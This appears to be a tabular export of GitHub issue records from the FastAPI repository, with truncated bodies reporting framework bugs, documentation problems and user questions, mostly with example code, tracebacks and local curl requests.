tiangolo/fastapi,2828021729,Callable object as dependency with body params is not parsing parameters inside `__call__` properly,"When callable object is used as dependency, there is problem with parameters inside `__call__` method of object class. With following setup, you end up with query parameters instead of body parameters:

```python
class SomeModel(BaseModel):
    arg1: str

class SomeDependency:
    def __call__(
        self,
        some_model: Annotated[SomeModel, Body(..., description=""Some model"")],
    ) -> dict:
        print(some_model.arg1)

@app.post(""/hello"")
async def hello(data: Annotated[dict, Depends(SomeDependency())]):
    return data
```

Console:
```
pydantic.errors.PydanticUserError: `TypeAdapter[typing.Annotated[ForwardRef(""Annotated[SomeModel, Body(..., description='Some model')]""), Query(PydanticUndefined)]]` is not fully defined; you should define `typing.Annotated[ForwardRef(""Annotated[SomeModel, Body(..., description='Some model')]""), Query(PydanticUndefined)]` and all referenced types, then call `.rebuild()` on the instance.
```

`Query(PydanticUndefined)` makes no sense, there are no query parameters. But when this function (in `fastapi/dependencies/utils.py`) gets updated:

```python
def get_typed_signature(call: Callable[..., Any]) -> inspect.Signature:
    signature = inspect.signature(call)
    globalns = getattr(call, ""__globals__"", {})
    ...
```

into this:

```python
def get_typed_signature(call: Callable[..., Any]) -> inspect.Signature:
    signature = inspect.signature(call)
    if isinstance(call, type) or isinstance(call, types.FunctionType):
        glo... [TRUNCATED]",,2025-02-03T16:44:42Z,2025-02-04T08:59:57Z,0
tiangolo/fastapi,2774724066,Duplicated OperationID when adding route with multiple methods,"### Discussed in https://github.com/fastapi/fastapi/discussions/8449

<div type='discussions-op-text'>

<sup>Originally posted by **bruchar1** March 30, 2022</sup>
### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
router.add_api_route(
    ""/clear"",
    clear,
    methods=[""POST"", ""DELETE""]
)
```


### Description

Seems to be caused by #4650.

The new `generate_unique_id()` function uses `list(route.methods)[0].lower()` as suffix for the `operation_id`. Therefore, in my example, both post and delete endpoints get `_post` suffix for operation_id, causing it to no longer be unique.

It then issues a ""UserWarning: Duplicate Operation ID""

### Operating System

... [TRUNCATED]","question,question-migrate",2025-01-08T08:52:57Z,2026-05-18T13:13:45Z,5
tiangolo/fastapi,2767291074,Simplify tests for variants,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

## Summary

Simplify tests for variants, from multiple test files (one test file per variant) to a single test file with parameters to test each variant.

## Background

Currently, we have multiple source example variants for different Python versions:

* Python 3.8
* Python 3.9
* Python 3.10

And we have versions using `Annotated` and without using it.

Combining that, for each source app, we end up with different variants.

For example, for `docs_src/query_params_str_validations/tutorial010.py`, for this same `tutorial010`, we have these variants:


* `docs_src/query_params_str_validations/tutorial010_an_py39.py`
    * Using `Annotated`, Python 3.9.
* `docs_src/query_params_str_validations/tutorial010_an_py310.py`
    * Using `Annotated`, Python 3.10.
* `docs_src/query_params_str_validations/tutorial010_an.py`
    * Using `Annotated`, Python 3.8 (as 3.8 is the oldest, this one doesn't have a part in the name like `py38`).
* `docs_src/query_params_str_validations/tutorial010_py310.py`
    * Python 3.10, not using `Annotated` (as not using `Annotated` is the oldest form, it just doesn't have the `an` part in the file name.
* `docs_src/query_params_str_validations/tutorial010.py`
    * Not using `Annotated`, Python 3.8.


Each of these files represent the same FastAPI app, but with the improved syntax for Python 3.9, or 3.10, or using `A... [TRUNCATED]",,2025-01-03T09:57:09Z,2025-09-21T09:41:45Z,6
tiangolo/fastapi,2762723101,"When I use contextvars, I unexpectedly found that FastAPI clears the content I set somewhere. Is this result normal?","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

#### code
```
def print_task_id(mn: str):
    try:
        print(mn, ""task_id"", id(asyncio.current_task()))
    except Exception:
        print(mn, ""task_id"", ""None"")


def print_thread_id(flag: str):
    print(flag, ""thread id:"", threading.current_thread().ident)


def print_contextvars_name(flag: str):
    print(flag, ""contextvars_name:"", contextvars_name.get())


def print_all(flag: str):
    print_thread_id(flag)
    print_task_id(flag)
    print_contextvars_name(flag)


@router.get(""/test1"")
def test(cn: str | None = None):
    print_all(""test1"")
    if cn:
        contextvars_name.set(cn)
        print_all(""test1"")
    return R(""test1"")
```
#### steps
access to test1,param.cn=tt1
access to test1
#### log
```
INFO:     Uvicorn running on http://0.0.0.0:8091 (Press CTRL+C to quit)
INFO:     127.0.0.1:60430 - ""GET /docs_local HTTP/1.1"" 200 OK
INFO:     127.0.0.1:60430 - ""GET /static/swagger-ui/swagger-ui.css HTTP/1.1"" 200 OK
INFO:     127.0.0.1:60431 - ""GET /static/swagger-ui/swagger-ui-bundle.js HTTP/1.1"" 200 OK
INFO:     127.0.0.1:60431 - ""GET /openapi.json HTTP/1.1"" 200 OK
test1 thread id: 24496
test1 task_id None
test1 contextvars_name: contextvars_name_default
test1 thread id: 24496
test1 task_id None
test1 contextvars_name: tt1
INFO:     127.0.0.1:60432 - ""GET /test/test1?cn=tt1 HTTP/1.1"" 200 OK
test1 thr... [TRUNCATED]",,2024-12-30T06:29:21Z,2024-12-30T06:54:06Z,0
tiangolo/fastapi,2762152786,background tasks don't run when raise a HTTPException,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

```python
from fastapi import FastAPI, HTTPException, BackgroundTasks

app = FastAPI()

items = {
    'apple': 10,
    'banana': 5,
}

def task1():
    print(""Task 1 is running in the background"")

@app.get(""/items/{name}"")
async def read_item(name: str, background_tasks: BackgroundTasks):
    background_tasks.add_task(task1)
    
    if name in items:
        return {""name"": name, ""count"": items[name]}
    else:
        raise HTTPException(status_code=404, detail=""Item not found"")
```

1. when ```name is``` found in ```items```, background is excuted :

```
curl -X 'GET' \
  'http://127.0.0.1:8006/items/apple' \
  -H 'accept: application/json'
```
console output 
```
INFO:     127.0.0.1:58360 - ""GET /items/apple HTTP/1.1"" 200 OK
Task 1 is running in the background
```

2.  when ```name``` is found in ```items```, background is ***not*** excuted :

```
curl -X 'GET' \
  'http://127.0.0.1:8006/items/orange' \
  -H 'accept: application/json'
```
console output 
```
INFO:     127.0.0.1:58360 - - ""GET /items/orange HTTP/1.1"" 404 Not Found
```",,2024-12-29T08:12:45Z,2024-12-29T08:13:50Z,2
tiangolo/fastapi,2761127356,Incorrect handling of non utf-8 data in body in case of a validataion error,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

There was no way to report actual issue by the rules so I had to lie about being able to do so...
There has to be a section in discussions or something then.

```
ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File ""REDACTED\.venv\Lib\site-packages\starlette\_exception_handler.py"", line 53, in wrapped_app
    await app(scope, receive, sender)
  File ""REDACTED\.venv\Lib\site-packages\starlette\routing.py"", line 72, in app
    response = await func(request)
               ^^^^^^^^^^^^^^^^^^^
  File ""REDACTED\.venv\Lib\site-packages\fastapi\routing.py"", line 315, in app
    raise validation_error
fastapi.exceptions.RequestValidationError: [{'type': 'model_attributes_type', 'loc': ('body',), 'msg': 'Input should be a valid dictionary or object to extract fields from', 'input': b'----cpp-httplib-multipart-data-UxL5MB5nIRg5wqYk\r\nContent-Disposition: form-data; name=""metadata""\r\nContent-Type: application/json\r\n\r\n{""started"":1735320698,""length_seconds"":3}\r\n----cpp-httplib-multipart-data-UxL5MB5nIRg5wqYk\r\nContent-Disposition: form-data; name=""metadata""; filename=""main.ogg""\r\nContent-Type: audio/ogg\r\n\r\nOggS\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x81Z\x97E\x00\x00\x00\x00\x0b\xffmn\x01\x13OpusHead\x01\x028\x01\x80>\x00\x00\x00\x00\x00OggS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x81Z\x97E\x01\x00\x00\x00\xf3sR\x98\... [TRUNCATED]",,2024-12-27T17:39:46Z,2024-12-28T04:27:19Z,1
tiangolo/fastapi,2737728409,poor quality traceback / useful stack frames not present when exceptions raised in sync dependencies,"### Privileged issue

- [X] I'm ~@tiangolo or he asked me directly to create an issue here~ a liar, but the discussion template was crazy onerous, and I'm confident I can write a decent, succinct issue description that's worth reading here ;-)

### Issue Content

If I apply this diff to the [full-stack-fastapi-template](https://github.com/fastapi/full-stack-fastapi-template/blob/88c83cc06ccab67efa839c2c0994435b727986a3/backend/app/api/deps.py#L21-L23):

```diff
diff --git a/backend/app/api/deps.py b/backend/app/api/deps.py
index c2b83c8..c99cdb2 100644
--- a/backend/app/api/deps.py
+++ b/backend/app/api/deps.py
@@ -19,6 +19,7 @@ reusable_oauth2 = OAuth2PasswordBearer(
 
 
 def get_db() -> Generator[Session, None, None]:
+    raise Exception(""error"")
     with Session(engine) as session:
         yield session
```


...and issue a GET to `http://127.0.0.1:8000/api/v1/users/`, the traceback shown in the console is really unhelpful:

```
  File ""...3.11/lib/python3.11/contextlib.py"", line 650, in enter_async_context
    result = await _enter(cm)
             ^^^^^^^^^^^^^^^^
  File ""...3.11/lib/python3.11/contextlib.py"", line 210, in __aenter__
    return await anext(self.gen)
           ^^^^^^^^^^^^^^^^^^^^^
  File "".../full-stack-fastapi-template/backend/.venv/lib/python3.11/site-packages/fastapi/concurrency.py"", line 35, in contextmanager_in_threadpool
    raise e
Exception: error

```

There are no frames from the actual site of the exce... [TRUNCATED]",,2024-12-13T08:04:35Z,2024-12-13T08:07:40Z,7
tiangolo/fastapi,2729953389,Can't use `Annotated` with `ForwardRef`,"### Issue Content

The following code doesn't generate the correct OpenAPI json:

```py
from __future__ import annotations

from dataclasses import dataclass
from typing import Annotated

from fastapi import Depends, FastAPI

app = FastAPI()


def get_potato() -> Potato:
    return Potato(color='red', size=10)


@app.get('/')
async def read_root(potato: Annotated[Potato, Depends(get_potato)]):
    return {'Hello': 'World'}


@dataclass
class Potato:
    color: str
    size: int
```

If we move the `Potato` up, or remove the `Annotated`, then it works as expected.",bug,2024-12-10T12:11:29Z,2026-05-18T13:13:20Z,16
tiangolo/fastapi,2712355915,StreamingResponse was block my program???,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

async def generate_predictions(model_name):
    global stop_flag
    mean, std, labels, model, pca_model = get_init(model_name)  
    async for prediction in collect_predict(mean, std, labels, model, pca_model):
        if stop_flag == True:
            stop_flag = False 
            break
        yield json.dumps({""prediction"": prediction}) + ""\n""

@router.get(""/end_predict"")
def end_predict():
    global stop_flag
    stop_flag = True
    return {'message' : 'End predict'}

@router.post(""/predict"")
def predict_func(data: predict):
    model_name = data.name_predict
    return StreamingResponse(
        generate_predictions(model_name), 
        media_type=""application/json""
    )
",,2024-12-02T15:37:55Z,2024-12-02T16:22:27Z,0
tiangolo/fastapi,2710921725,Traceback stack does not show exact place of error,"### Discussed in https://github.com/fastapi/fastapi/discussions/8428

<div type='discussions-op-text'>

<sup>Originally posted by **NewSouthMjos** December  5, 2022</sup>
### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from fastapi import FastAPI, Depends


app = FastAPI()


def get_something_sync():
    yield True


async def get_something_async():
    yield True


@app.get('/1')
def router_func(dependency=Depends(get_something_sync)):
    raise ValueError
    return


@app.get('/2')
def router_func(dependency=Depends(get_something_async)):
    raise ValueError
    return


if __name__ == ""__main__"":
    uvicorn.run(""main:app"", hos... [TRUNCATED]","question,question-migrate",2024-12-02T07:48:49Z,2024-12-03T22:37:13Z,2
tiangolo/fastapi,2709197467,Multipart upload is not working without a trailing slash,"```
Expected boundary character 45, got 20 at index 2
```

Related: 
https://github.com/fastapi/fastapi/discussions/7062#discussioncomment-6090647_",,2024-12-01T13:28:18Z,2024-12-03T10:14:34Z,3
tiangolo/fastapi,2691792627,FastApi website issue,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Issue in Fastapi website in ubuntu-mint flavor

Look at the top of the menu bar

![image](https://github.com/user-attachments/assets/ffe82cdf-2e9f-4d49-bef8-6ceea8c57e85)
",,2024-11-25T18:34:18Z,2024-11-26T06:56:54Z,0
tiangolo/fastapi,2676906576,"Will FastAPI support QUERY http method? ""app.query""","### Discussed in https://github.com/fastapi/fastapi/discussions/6049

<div type='discussions-op-text'>

<sup>Originally posted by **FilipeMarch** December 16, 2022</sup>
### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.query('/query/subjects')
def query_subjects(schema: ArbitrarySchema):
    with Session(engine) as db:
        subjects = db.query(Subject).all()
        return schema(**subjects)

# something like this
```


### Description

There is a new HTTP method called QUERY, I discovered it this week and it is super interesting!

https://www.ietf.org/archive/id/draft-ietf-httpbis-safe-method-w-body-02... [TRUNCATED]",feature,2024-11-20T19:17:57Z,2026-02-05T16:49:50Z,32
tiangolo/fastapi,2676604146,Fastapi performance issue not responding  important ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hai 
We using fastapi last 1.5 Yr we facing daily issues on that on performance like 100 to 200 clients requesting every 5 sec some time not responding some time totally hanging we restarting the services 
Additional information we used mysql",,2024-11-20T17:17:52Z,2024-11-20T17:59:47Z,0
tiangolo/fastapi,2660617674,Starting multiple processes within multiple processes in Python,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I defined a multiprocessing pool in the initialization function, and then started multiple processes within a single process, resulting in an error.：：AssertionError: daemonic processes are not allowed to have children
The code works fine outside of your framework, so is it due to some limitations in your framework or another reason?",,2024-11-15T03:28:21Z,2024-11-15T08:54:55Z,0
tiangolo/fastapi,2658972961,"Do you have a performance checker for FaskAPI? The problem is that when you make 100 concurrent requests, the API returns are slow. How do you solve it?","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

![image](https://github.com/user-attachments/assets/531ebf3c-0d76-4241-a742-b9286e20736d)
![image](https://github.com/user-attachments/assets/7942db47-2a25-4af7-aaa1-4a6c40ccd735)
![image](https://github.com/user-attachments/assets/c91ae68c-e57c-471b-a182-b0a49dea3df6)
Is there a problem with the code, is there any code to refer to, or is there a health monitoring tool to check the FaskAPI",,2024-11-14T14:25:24Z,2024-11-14T14:44:09Z,0
tiangolo/fastapi,2649423251,Upcoming Pydantic 2.10 is going to break version comparison checks,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

The following check:

https://github.com/fastapi/fastapi/blob/5a48c37056397e47ab164ba4430807aa6fc9a710/fastapi/params.py#L108-L109

is going to be flawed when we release Pydantic 2.10 (in a week):

```python
""2.10.0"" > ""2.7.0""
#> False
```",bug,2024-11-11T13:57:22Z,2024-11-12T16:11:14Z,1
tiangolo/fastapi,2636852557,Dependency Injection and Field Validation,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

code
```
def get_db():
    db = SessionLocal2()
    try:
        yield db
    except Exception as e:
        logger.exception(e)
        db.rollback() 
        raise e
    finally:
        db.close()
class NurseNewSchema(BaseModel):
    family_user_id: str
    time_day: int
    nurse_master: str
    nurse_remarks: str | None
    nurse_title: str

async def post_new_nurse(item: NurseNewSchema, db=Depends(get_db)):
    pass
```
When nurse_master is not filled in, data verification fails, but the interface executes to get_db, and when yielding db, it reports data verification failure.

2024-11-06 09:58:29.965 | ERROR    | core:get_db:59 - [{'loc': ('body', 'nurse_master'), 'msg': 'field required', 'type': 'value_error.missing'}]
Traceback (most recent call last):

  File ""/usr/lib/python3.10/threading.py"", line 973, in _bootstrap
    self._bootstrap_inner()
    │    └ <function Thread._bootstrap_inner at 0x7fd6edf39090>
    └ <WorkerThread(AnyIO worker thread, started 140559949760064)>
  File ""/usr/lib/python3.10/threading.py"", line 1016, in _bootstrap_inner
    self.run()
    │    └ <function WorkerThread.run at 0x7fd6c1500430>
    └ <WorkerThread(AnyIO worker thread, started 140559949760064)>
  File ""/home/ouyang/.env/paper/lib/python3.10/site-packages/anyio/_backends/_asyncio.py"", line 807, in run
    result = context.run(func, *ar... [TRUNCATED]",,2024-11-06T01:59:36Z,2024-11-15T08:55:08Z,2
tiangolo/fastapi,2632413136,error,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

INFO:     Will watch for changes in these directories: ['C:\\Users\\wangy']
INFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
INFO:     Started reloader process [20616] using WatchFiles
ERROR:    Error loading ASGI app. Could not import module ""main"".
",,2024-11-04T10:25:25Z,2024-11-04T10:29:59Z,0
tiangolo/fastapi,2615856044,Update docs include syntax for source examples,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

This is a good first contribution. :nerd_face: 

The code examples shown in the docs are actual Python files. They are even tested in CI, that's why you can always copy paste an example and it will always work, the example is tested.

The way those examples are included in the docs used a specific format. But now there's a new format available that is much simpler and easier to use than the previous one, in particular in complex cases, for example when there are examples in multiple versions of Python.

But not all the docs have the new format yet. The docs should use the new format to include examples. That is the task. :nerd_face: 

**It should be done as one PR per page updated.**

## Simple Example

Before, the format was like:

````markdown
```Python hl_lines=""3""
{!../../docs_src/first_steps/tutorial001.py!}
```
````

Now the new format looks like:

````markdown
{* ../../docs_src/first_steps/tutorial001.py hl[3] *}
````

* Instead of `{!` and `!}` it uses `{*` and `*}`
* It no longer has a line above with:

````markdown
```Python
````

* And it no longer has a line below with:

````markdown
```
````

* The highlight is no longer a line with e.g. `hl_lines=""3""` (to highlight line 3), but instead in the same line there's a `hl[3]`.

An example PR: https://github.com/fastapi/fastapi/pull/12552

## Multiple Python Ver... [TRUNCATED]",good first issue,2024-10-26T13:06:48Z,2024-11-18T02:45:54Z,30
tiangolo/fastapi,2601422400,"Use Request in Fastapi to get post json data request, it throw a error : exception in asgi application","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

code:
![image](https://github.com/user-attachments/assets/57cba8ee-0b23-41b9-bc65-5061680dca19)
error:
![image](https://github.com/user-attachments/assets/68b08ec8-d54a-40dc-9d69-e75b19862cde)
",,2024-10-21T05:54:59Z,2024-10-21T06:12:49Z,0
tiangolo/fastapi,2587616662,"""Cookies with a Pydantic Model"" the demo codes cannot run properly","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

https://fastapi.tiangolo.com/tutorial/cookie-param-models/#cookies-with-a-pydantic-model
```python
from typing import Annotated

from fastapi import Cookie, FastAPI
from pydantic import BaseModel

app = FastAPI()


class Cookies(BaseModel):
    session_id: str
    fatebook_tracker: str | None = None
    googall_tracker: str | None = None


@app.get(""/items/"")
async def read_items(cookies: Annotated[Cookies, Cookie()]):
    return cookies
```
![QQ_1728967103087](https://github.com/user-attachments/assets/5de19020-653c-471f-8b75-b6933e5ab32b)
![QQ_1728967116921](https://github.com/user-attachments/assets/984079b5-58fd-4e55-bb92-eba18b68edd5)
![QQ_1728967226720](https://github.com/user-attachments/assets/738d45d6-3c32-4519-a35e-4e50f23c8fb5)




",,2024-10-15T04:41:08Z,2025-03-20T10:28:36Z,6
tiangolo/fastapi,2580784883,Docs  run script error,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I cloned the project and installed requirements.txt. When I run ```python ./scripts/docs.py live az```, I get the following error.

OS: Windows 10 
Python version 3.12.5

![image](https://github.com/user-attachments/assets/665db120-5d1e-4256-8430-cee023023916)
",,2024-10-11T08:33:04Z,2025-03-19T16:55:05Z,5
tiangolo/fastapi,2580661957,python3.13 install uvicorn fault,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

o activate this project's virtualenv, run pipenv shell.
Alternatively, run a command inside the virtualenv with pipenv run.
Installing dependencies from Pipfile.lock (527371)...
: Collecting click==8.1.7 (from -r c:\users\starlee\appdata\local\temp\pipenv-dbv5y_0a-requirements\pipenv-2599a94r-hashed-reqs.txt (line 1))
:   Using cached click-8.1.7-py3-none-any.whl (97 kB)
: Collecting h11==0.14.0 (from -r c:\users\starlee\appdata\local\temp\pipenv-dbv5y_0a-requirements\pipenv-2599a94r-hashed-reqs.txt (line 2))
:   Using cached h11-0.14.0-py3-none-any.whl (58 kB)
: Collecting httptools==0.6.1 (from -r c:\users\starlee\appdata\local\temp\pipenv-dbv5y_0a-requirements\pipenv-2599a94r-hashed-reqs.txt (line 3))
:   Using cached httptools-0.6.1.tar.gz (191 kB)
:   Preparing metadata (setup.py): started
:   Preparing metadata (setup.py): finished with status 'done'
: Collecting python-dotenv==1.0.1 (from -r c:\users\starlee\appdata\local\temp\pipenv-dbv5y_0a-requirements\pipenv-2599a94r-hashed-reqs.txt (line 4))
:   Using cached python_dotenv-1.0.1-py3-none-any.whl (19 kB)
: Collecting pyyaml==6.0.2 (from -r c:\users\starlee\appdata\local\temp\pipenv-dbv5y_0a-requirements\pipenv-2599a94r-hashed-reqs.txt (line 5))
:   Using cached PyYAML-6.0.2-cp313-cp313-win_amd64.whl (156 kB)
: Collecting uvicorn==0.31.1 (from uvicorn==0.31.1->-r c:\users\starlee\appdata\local... [TRUNCATED]",,2024-10-11T07:36:16Z,2024-10-11T07:39:41Z,0
tiangolo/fastapi,2577803191,"Question about ""Required, can be None"" parameter","### Discussed in https://github.com/fastapi/fastapi/discussions/12418

<div type='discussions-op-text'>

<sup>Originally posted by **bowenerchen** October 10, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated

from fastapi import FastAPI, Query

app = FastAPI()


@app.get(""/items/"")
async def read_items(q: Annotated[str | None, Query(min_length=3)] = ...):
    results = {""items"": [{""item_id"": ""Foo""}, {""item_id"": ""Bar""}]}
    if q:
        results.update({""q"": q})
    return results
```


### Description

https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#required-can-be-none
![QQ_1728534861112](https://github.co... [TRUNCATED]",docs,2024-10-10T06:46:25Z,2026-05-18T13:07:47Z,14
tiangolo/fastapi,2572236872,"[BUG] In version 0.115.0 of FastAPI, the pydantic model that has declared an alias cannot correctly receive query parameters","Thank you for all the work you have done. I have initiated the [discussion ](https://github.com/fastapi/fastapi/discussions/12401)as requested, but I think this issue is quite important. Initiating this issue is just to prevent the discussion from being drowned out, and I apologize for any offense.

### Example Code

```python
import uvicorn
from typing import Literal

from fastapi import FastAPI, Query
from pydantic import BaseModel, ConfigDict, Field
from pydantic.alias_generators import to_camel

app = FastAPI()


class FilterParams(BaseModel):
    model_config = ConfigDict(alias_generator=to_camel)

    limit: int = Field(100, gt=0, le=100)
    offset: int = Field(0, ge=0)
    order_by: Literal['created_at', 'updated_at'] = 'created_at'
    tags: list[str] = []


@app.get('/items/')
async def read_items(filter_query: FilterParams = Query()):
    return filter_query


if __name__ == '__main__':
    uvicorn.run(app='app:app')
```


### Description

Running the code in the example above, I encountered an incorrect result when accessing http://127.0.0.1:8000/items/?offset=1&orderBy=updated_at in the browser, orderBy did not receive successfully.
```
{
    ""limit"": 100,
    ""offset"": 1,
    ""orderBy"": ""created_at"",
    ""tags"": []
}
```
The correct result should be as follows
```
{
    ""limit"": 100,
    ""offset"": 1,
    ""orderBy"": ""updated_at"",
    ""tags"": []
}
```

### Operating System

Windows

### Operating System De... [TRUNCATED]",,2024-10-08T06:42:41Z,2025-12-02T09:33:22Z,17
tiangolo/fastapi,2564022536,HTML WEB SAMPLES FOR TOKEN AUTH,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Everything demo, o smal sample is oriented to json, not web templates,

could u include samples with html samples, about login jwt many concurrent users.

pls ",,2024-10-03T13:07:12Z,2024-10-03T13:23:18Z,0
tiangolo/fastapi,2555460290,Should the alias parameter in the Path method be removed?,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

This is my MRE code:
```python
from __future__ import annotations

from typing import Annotated

import uvicorn
from fastapi import FastAPI, Path

app = FastAPI()


@app.get('/{item_id}')
async def async_root(item_id: Annotated[int, Path(title = 'Item ID', alias = 'xid')]):
    return {'item_id': item_id}


if __name__ == '__main__':
    uvicorn.run(app, host = '127.0.0.1', port = 18081)
```
and I got the swagger docs:
http://127.0.0.1:18081/docs#/default/async_root__item_id__get
![QQ_1727667100103](https://github.com/user-attachments/assets/fbc42966-eba6-4f96-aa4f-bb85243022f7)

Question:
1. Why is the content of the title field not displayed in the documentation?
2. 
![QQ_1727667237322](https://github.com/user-attachments/assets/22d006f8-7ddc-4175-b7d9-1da86b55628b)
The generated curl request is incorrect; the placeholder {item_id} has not been replaced with the value 123 for xid
3. When I try to manually send a curl request to access it, I still get an error:
```python
curl http://127.0.0.1:18081/123
{""detail"":[{""type"":""missing"",""loc"":[""path"",""xid""],""msg"":""Field required"",""input"":null}]}
```
4. When I remove the alias field from the Path method, it works normally：
```python
@app.get('/{item_id}')
async def async_root(item_id: Annotated[int, Path(title = 'Item ID')]):
    return {'item_id': item_id}
```
![QQ_1727667506471](ht... [TRUNCATED]",,2024-09-30T03:44:47Z,2024-09-30T12:35:34Z,1
tiangolo/fastapi,2554768044,Required with Ellipsis may not work,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#required-parameters
![QQ_1727594279276](https://github.com/user-attachments/assets/86d8893a-4c3f-45cb-8fc3-7f97cad6ac00)
python interpreter:3.12.4
fastapi version:0.115.0

my codes:
```
from __future__ import annotations
from typing import Annotated
import uvicorn
from fastapi import FastAPI, Query
app = FastAPI()
@app.get(""/items/"")
async def read_items(q: Annotated[str, Query(min_length = 3)] = ...):
    """"""
    curl -X 'GET' 'http://127.0.0.1:18081/items/' -H 'accept: application/json'
    ValueError: [TypeError(""'ellipsis' object is not iterable""), TypeError('vars() argument must have __dict__ attribute')]
    """"""
    results = {""items"": [{""item_id"": ""Foo""}, {""item_id"": ""Bar""}]}
    if q:
        results.update({""q"": q})
    return results


if __name__ == '__main__':
    uvicorn.run(app, host = '127.0.0.1', port = 18081)
```
swagger docs:
![QQ_1727594546393](https://github.com/user-attachments/assets/c1b94031-5145-4f27-981a-6d35f6cc2fe2)

![QQ_1727594603897](https://github.com/user-attachments/assets/4d370afd-5642-4948-8521-65483a460514)

ValueError: [TypeError(""'ellipsis' object is not iterable""), TypeError('vars() argument must have __dict__ attribute')]
    
   ","docs,confirmed",2024-09-29T07:24:07Z,2025-02-15T16:25:43Z,15
tiangolo/fastapi,2554241016,Chrome does not display Swagger UI,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

![image](https://github.com/user-attachments/assets/0a5523b2-3727-4e33-8590-e13b5a7c7126)

Chrome does not display Swagger UI, but Edge can. 
Is this a bug?
",,2024-09-28T13:51:40Z,2024-09-28T13:55:37Z,1
tiangolo/fastapi,2540994554,OpenAPI servers not being returned according how the docs say they should be,"### Discussed in https://github.com/fastapi/fastapi/discussions/12226

<div type='discussions-op-text'>

<sup>Originally posted by **mzealey** September 19, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()

# you can add a test endpoint here or not - same bug either way
